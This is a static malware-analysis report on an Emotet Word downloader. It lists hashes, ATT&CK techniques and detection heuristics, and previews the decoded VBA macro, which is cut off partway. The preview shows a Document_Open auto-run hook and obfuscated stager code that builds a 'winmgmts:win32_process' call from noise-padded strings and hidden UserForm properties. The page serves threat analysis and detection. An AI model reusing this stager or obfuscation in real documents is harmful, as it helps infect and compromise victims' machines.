Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 964d170c22ca7564…

MALICIOUS

Office (OLE)

219.1 KB Created: 2020-08-27 14:01:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 4ce3fd9d5fae94f806d22f5c42eed571 SHA-1: 43efa0524973369e37ca6bcb6f6a36f6b8694905 SHA-256: 964d170c22ca7564b27f8f395b9dd86dca266557cb85156a37e3813657ba0973
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of malicious activity. The ClamAV detection explicitly names this as an Emotet downloader variant. The VBA script is heavily obfuscated but its structure and the presence of CreateObject point towards downloading and executing a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10205 bytes
SHA-256: feeb8c3700f8d554467e7c49ffb1b29790138420e2faeb5b13aa251f85d333dd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "K6xkgfqxmm1lp"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Mfkodeaj_o2uq8.V94drssu_po8q
End Sub


Attribute VB_Name = "Mfkodeaj_o2uq8"
Attribute VB_Base = "0{AD90CE8A-44EC-4869-9868-7D88842C9460}{5237E844-6FDC-4071-822E-AD607F5154E6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function V94drssu_po8q()
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
Y56rjd59qeco4 = 100
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
E9uisxyxmsytal = ChrW(Y56rjd59qeco4 + (xw + 5 + jwb + 10))
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
Kic1r8b9knm3ymu1 = "(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())w(hsv 32(()hq gq721g()))) hsu0())i(hsv 32(()hq gq721g()))) hsu0())nm(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())gm(hsv 32(()hq gq721g()))) hsu0())t(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())" + E9uisxyxmsytal + "(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0()):(hsv 32(()hq gq721g()))) hsu0())w(hsv 32(()hq gq721g()))) hsu0())in(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())3(hsv 32(()hq gq721g()))) hsu0())2(hsv 32(()hq gq721g()))) hsu0())_(hsv 32(()hq gq721g()))) hsu0())" + Mfkodeaj_o2uq8.G4qcvx5jzoj2 + "(hsv 32(()hq gq721g()))) hsu0())ro(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())ce(hsv 32(()hq gq721g()))) hsu0())s(hsv 32(()hq gq721g()))) hsu0())s(hsv 32(()hq gq721g()))) hsu0())"
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
P90mwgttq9qkb18 = E5aj431k40a0s_(Kic1r8b9knm3ymu1)
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
Qx1otfatefyt = Mfkodeaj_o2uq8.D96ys9vb48g0dq7nz.ControlTipText
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
Jjkwcku2_
... (truncated)

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